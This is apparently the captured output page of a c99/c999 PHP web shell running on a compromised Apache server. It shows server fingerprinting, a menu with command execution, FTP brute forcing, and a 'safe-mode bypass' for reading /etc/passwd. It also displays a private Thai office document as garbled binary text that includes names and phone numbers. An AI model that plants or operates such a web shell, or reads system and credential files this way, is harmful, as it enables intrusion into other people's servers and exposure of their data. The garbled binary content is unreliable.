!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/documentsTmp/   drwxrwxrwx
Free 50.79 GB of 127.8 GB (39.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     20160803_162144-953-cc3bf8aa312ef24693854e09442bfbcd-8.doc (35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ࡱ>	AC@[	~bjbj4,ΐΐ:eeeyyyyLy+<RRR8+:+:+:+:+:+:+-0v:+9eR0"RRR:+Ws+RLRe8+R8+(|C"* liy`)$++0+r)
1L
1$*
1e*RRRRRRR:+:+RRR+RRRR
1RRRRRRRRR1:	
A-#19I@I2#H'!B#2#-#!@
44142#2#128%2#*2"*1*8@#7-H2"'4"2%1"C*11*21#0#!#2

  20'1--@	5"@+7- (Nec.net) 
#0"05H 3 #0+'H2'15H 6   8 1"2" 2559  B#A#!42@4% A#L -!@5" 1+'1
%8#5
*************************************************************
'4"2%1".............................................................................................................................

7H-   *8%..................................................3A+H............................................!7-7-.................................

7H-   *8%..................................................3A+H............................................!7-7-................................

7H-   *8%..................................................3A+H............................................!7-7-................................

7H-   *8%..................................................3A+H............................................!7-7-............."*@\^		ֿzcNcNcN:Nc&hQ5CJ$OJQJ\^JaJ$o()hQhQ5CJ$OJQJ\^JaJ$,hQhQ5CJ$OJQJ\^JaJ$o(5hQhQ5B*CJ$OJQJ\^JaJ$o(ph)hQhkG
5CJ$OJQJ\^JaJ$)hQht5CJ$OJQJ\^JaJ$,hQh&.5CJ$OJQJ\^JaJ$o(,hQh
5CJ$OJQJ\^JaJ$o(#h
5CJ$OJQJ\^JaJ$o(.		b
n
(VX^`dgd]$a$gdrC"^gdI%
x^gdi
&Fx`gdi
&Fx`gd&.
&F
x`gd&.gdI%$a$gd$a$gdQ$a$gdR	(	*	,	.	B	\	^	b	d						պlZE.,h&.h
5CJ$OJQJ\^JaJ$o()h&.hNl5CJ$OJQJ\^JaJ$#hk5CJ$OJQJ\^JaJ$&h&.hNl5CJ$OJQJ\^JaJ$)h&.h"S]5CJ$OJQJ\^JaJ$&hk5CJ$OJQJ\^JaJ$o( hQ5CJ$OJQJ\^JaJ$5hQhQ5B*CJ$OJQJ\^JaJ$o(ph,hQhQ5CJ$OJQJ\^JaJ$o(&hQhQ5CJ$OJQJ\^JaJ$		b
r
lnvxz frվp_pM;M;M;M;#h;heCJ OJQJ^JaJ #h;hkG
CJ OJQJ^JaJ  h;h[CJ OJQJ^JaJ #h;h[CJ OJQJ^JaJ #h;hrC"CJ OJQJ^JaJ )h9ht5CJ OJQJ\^JaJ )h9hkG
5CJ OJQJ\^JaJ ,h9h95CJ OJQJ\^JaJ o(&h;hrC"5CJ OJQJ\^JaJ ,h&.h5CJ$OJQJ\^JaJ$o(rvx|





&(24*,4@TX\˽ݬݽݬݽݬݪݜykhiCJ OJQJ^JaJ  h;hiCJ OJQJ^JaJ #h;hiCJ OJQJ^JaJ heCJ OJQJ^JaJ U h;heCJ OJQJ^JaJ hI%CJ OJQJ^JaJ #h;hkG
CJ OJQJ^JaJ #h;heCJ OJQJ^JaJ  hiCJ OJQJ^JaJ o('...................

7H-   *8%..................................................3A+H............................................!7-7-................................

  


@7H-'2!*0'-H2 B#AI#2"
7H-@I2#12##0
8!   DI5H  Fax  043 -223898,221770 
H- 102     2"C'15H 20 *4+2! 2559  (9"L123%1  '4"2%1"2#*22#*8*4#4#  
1+'1-AH 


*-2!#2"%0@-5"@4H!@4!DI5H9I#0*22B#2#
1.    #4+2#12#    -.4#*82  @+%GB
    		B#.  090-5488381
2.    +1'+I2(9"L123%1 -.2#5%1)L  +48"      	B#.  089-4220120







\^`bd۾r`r`L`7)h8B>h;5CJ$OJQJ\^JaJ$&h8B>h>*CJ$OJQJ^JaJ$#h5>*CJ$OJQJ^JaJ$o(&h8B>hrC">*CJ$OJQJ^JaJ$ h8B>hrC"CJ$OJQJ^JaJ$)h8B>hrC"5CJ$OJQJ\^JaJ$#h8B>5CJ$OJQJ\^JaJ$o(8jh;h8B>CJ OJQJU^JaJ mHnHtHu&h;hrC"5CJ OJQJ\^JaJ  h;htCJ OJQJ^JaJ 
&,DXbխeK12h&.5>*B*CJ$OJQJ\^JaJ$o(ph2hk5>*B*CJ$OJQJ\^JaJ$o(ph5h8B>hrC"5>*B*CJ$OJQJ\^JaJ$ph5h5h55B*CJ$OJQJ\^JaJ$o(ph#h55CJ$OJQJ\^JaJ$o(&h8B>h5CJ$OJQJ\^JaJ$&h55CJ$OJQJ\^JaJ$o()h8B>hrC"5CJ$OJQJ\^JaJ$)h8B>h5CJ$OJQJ\^JaJ$bdPRXñ{iT@/ h8B>h;CJ$OJQJ^JaJ$&h8B>hrC"5CJ$OJQJ\^JaJ$)h8B>hrC"5CJ$OJQJ\^JaJ$#h8B>5CJ OJQJ\^JaJ o(&h;hrC"5CJ OJQJ\^JaJ  h8B>hrC"CJ$OJQJ^JaJ$ h8B>h CJ$OJQJ^JaJ$#h8B>hCJ$OJQJ^JaJ$#h8B>hrC"CJ$OJQJ^JaJ$ h&.CJ$OJQJ^JaJ$o(2h$(5>*B*CJ$OJQJ\^JaJ$o(phRprtvxz|~gdegd]gd$~gd;]gdrC"gd]
X~>JLX^`nʹ܃raʹSEShNlCJ$OJQJ^JaJ$h
CJ$OJQJ^JaJ$ h&.CJ$OJQJ^JaJ$o( h8B>h;CJ$OJQJ^JaJ$&h8B>h;CJ$OJQJ^JaJ$o( h5CJ$OJQJ^JaJ$o( h
CJ$OJQJ^JaJ$o( hNlCJ$OJQJ^JaJ$o(#h8B>hNlCJ$OJQJ^JaJ$ hkCJ$OJQJ^JaJ$o(#h8B>h;CJ$OJQJ^JaJ$nprtvz|~¾h/2Xh9heh9aJ&h;hrC"CJ OJQJ^JaJ o( h;hkCJ OJQJ^JaJ hkCJ OJQJ^JaJ 21h:pe. A!"#$%b2 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~^J_HmH	nH	sH	tH	<`<4CJ_HaJmH	sH	tH	LA`LA-1)#-"H-+I2@#4H!ILiL	2#244
l4a0k 0D!H!5#2"2#PK![Content_Types].xmlj0Eжr(΢Iw},-j4	wP-t#bΙ{UTU^hd}㨫)*1P'	^W0)T9<l#$yi};~@(Hu*Dנz/0ǰ$X3aZ,D0j~3߶b~i>3\`?/[G\!-Rk.sԻ..a濭?PK!֧6_rels/.relsj0}Q%v/C/}(h"O
= C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xmlM
 @}w7c(EbˮCAǠҟ7՛K
Y,
e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+&
8PK!iB;otheme/theme/theme1.xmlYo5G}k&]S-4ulhyO.o= x
&m4H!ssV&gkKCGUx!K~ջn[T8b#RDz|"^U		\U/P*^]X>cy$!V(]nCxx4GߎGǣƏ4tף>R
DJLlwr(L=̪mr[ya`[XWELYY4d]hx~g´,U.lLSFQo'>hje,5WfdҮʅ_RʕDKԀ~\Z_td|^/;x|Be
(`4ڝAk6		f.|+>EA4LKH͋	
dXaLz؇ #(*;˙!I_XUwb	3OÃG?޹sx%Q?wy=o,/_藟?BLy=xǿ7.p'oӐHtb*#N`]%C}uYGq-xC@5
@Ηnqj\Z1s{A^:614,qf8RO"㻄hwRǮ[\B7)ak684]IC0OgcYdEBV`#|0njoa6YW
l
5O	%R歹&@ߌ/cXnbE
Ewh^g|0öhdo]Qʃoq7C3Gs}W4
=3ڗP
1Pm]9{9uؓ2aH;Zt\t_s7 &z;/OZhʮlSlZpnܣԐ+4n:sx$SϤ;f
\KU
p
vD2!ݗ(vf8C챰Hx/\0!cv9|42[_YQubnE#)uY`pbMh@-`e8kp0tޛx,]$%޳>*'bn vr|yX-íɾ8)ˮ4]꽗RS/=,&'~իq\zpa^ìF6MfSoVR$(5NTX64T,Ҝe0Y)`#XZ`פ;%Uٙm;R>PD>각~OJ0A?=rst+NʭN4-Dt˕(wzULʟ*0)Xjp+0ZP*o
hLhXf-Ȟ9giڡ}$(G*lCY2wbwY,!d"*#GX[e{(P7$)w4$:}dͩ!?d:lsvU,Oެ"zbfҬfpʭV˩pYapp߃?}376߁ڊE&aQ}6HH;؁`ҤiI[-ݬϸӝ=bl-I}JcO3giŽ\Sg(҃qy};p?`J`wJC2yo9kPK!
ѐ'theme/theme/_rels/themeManager.xml.relsM
0wooӺ&݈Э5
6?$Q
,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PK-![Content_Types].xmlPK-!֧6+_rels/.relsPK-!kytheme/theme/themeManager.xmlPK-!iB;otheme/theme/theme1.xmlPK-!
ѐ'	theme/theme/_rels/themeManager.xml.relsPK]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>??
,		r\bXn~
~	8@(	
t

c$>  #"`?
B
S	??%t@89:@1OT}cdsv89:@3331dstu89:@
9;<>NNOOfhij||}}"D./09@mR4
/f|Hj=DXXNN`_Nb`0n4h!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.ww^w`o(^`o(.0^`0o(..0^`0o(...			^	`o(	....	@@^@`o(.....	
^`o(
......	
x`x^x``o(.......	
`^``o(........hh^h`o(^`o(.0^`0o(..0^`0o(...			^	`o(	....	@@^@`o(.....	
`^``o(
......	
x`x^x``o(.......	
HH^H`o(........5k5^5`kOJPJQJ^Jo([		^	`OJQJo(hHo^`OJQJo(hHxx^x`OJQJo(hHHH^H`OJQJo(hHo^`OJQJo(hH^`OJQJo(hH^`OJQJo(hHo^`OJQJo(hHk^`kOJPJQJ^Jo([^`OJQJo(hHopp^p`OJQJo(hH@@^@`OJQJo(hH^`OJQJo(hHo^`OJQJo(hH^`OJQJo(hH^`OJQJo(hHoPP^P`OJQJo(hHh!^`CJ OJQJ^JaJ o(hH.h
^`hH.h
pLp^p`LhH.h
@@^@`hH.h
^`hH.h
L^`LhH.h
^`hH.h
^`hH.h
PLP^P`LhH.
/HXXN0n`_NmR.$									
								4								$								>=9XkG
"}}%IG=rC"I%$(&.5<g88B>?oCu{DFrI/2X"S]^c/Vioox7Sy$~]Nl[q/it
Q7TR;T,9eg 9g`9ZKkH@B4U:<@4?hh
hhUnknown	G* Times New Roman5Symbol3.* ArialC&oZ PTH SarabunPSK?Angsana NewC&Browallia New?=	* Courier New;WingdingsA BCambria Math"1hHgHgCB'MM!477
2q HP	?j2!xxC-#19I@I2#12#-#!USER	PC-SCPHKK$Oh+'0	(
HT`
lxj㺵ͺѺѺͺUSERNormalPC-SCPHKK2Microsoft Office Word@F#@Tw>b@ݾi@ݾiM՜.+,0hp
jHOME7㺵ͺѺѺͺͧ	

 !"#$%&'()*+,-./12345679:;<=>?BRoot Entry	F'iD1Table11WordDocument4,SummaryInformation(0DocumentSummaryInformation88CompObjw
	F%͡ Microsoft Office Word 97-2003
MSWordDocWord.Document.89q

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0139 ]--